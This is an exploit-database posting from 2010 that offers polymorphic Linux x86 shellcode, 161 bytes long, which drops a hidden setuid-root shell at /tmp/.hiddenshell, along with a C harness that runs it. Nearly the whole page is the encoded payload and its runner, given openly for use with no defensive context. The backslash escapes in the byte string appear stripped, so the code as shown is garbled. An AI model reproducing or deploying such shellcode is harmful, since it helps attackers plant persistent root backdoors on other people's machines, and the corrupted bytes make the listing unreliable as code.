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linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell

Posted on 05 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell 161 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================================
linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell 161 bytes
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/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title  : Drop suid root shell in /tmp/.hiddenshell linux polymorphic shellcode .
Name   : 161 bytes Drop suid shell root in /tmp/.hiddenshell linux polymorphic shellcode
Date   : Sat Jun  17 21:27:03 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include &lt;stdio.h&gt;

char shellcode[] = &quot;xebx11x5ex31xc9xb1x89x80x6cx0exffx35x80xe9x01&quot;
		   &quot;x75xf6xebx05xe8xeaxffxffxffx95x66xf5x66x07xe5&quot;
		   &quot;x40x87x9dxa3x64xa8x9dx9dx64x64x97x9exbex18x87&quot;
		   &quot;x9dx62x98x98x98xbex16x87x20x3cx86x88xbex16x02&quot;
		   &quot;xb5x96x1dx29x34x34x34x98xa5x55x64x97x9exa3x64&quot;
		   &quot;x64xa8x9dx55x64xa9xa2xa5x64x63x9dx9ex99x99x9a&quot;
		   &quot;xa3xa8x9dx9axa1xa1x70x55x98x9dxa4xacxa3x55xa7&quot;
		   &quot;xa4xa4xa9x6fxa7xa4xa4xa9x55x64xa9xa2xa5x64x63&quot;
		   &quot;x9dx9ex99x99x9axa3xa8x9dx9axa1xa1x70x55x98x9d&quot;
		   &quot;xa2xa4x99x55x69x6cx6ax6ax55x64xa9xa2xa5x64x63&quot;
		   &quot;x9dx9ex99x99x9axa3xa8x9dx9axa1xa1&quot;;
		
int main(void)
{
	fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
	(*(void(*)()) shellcode)();
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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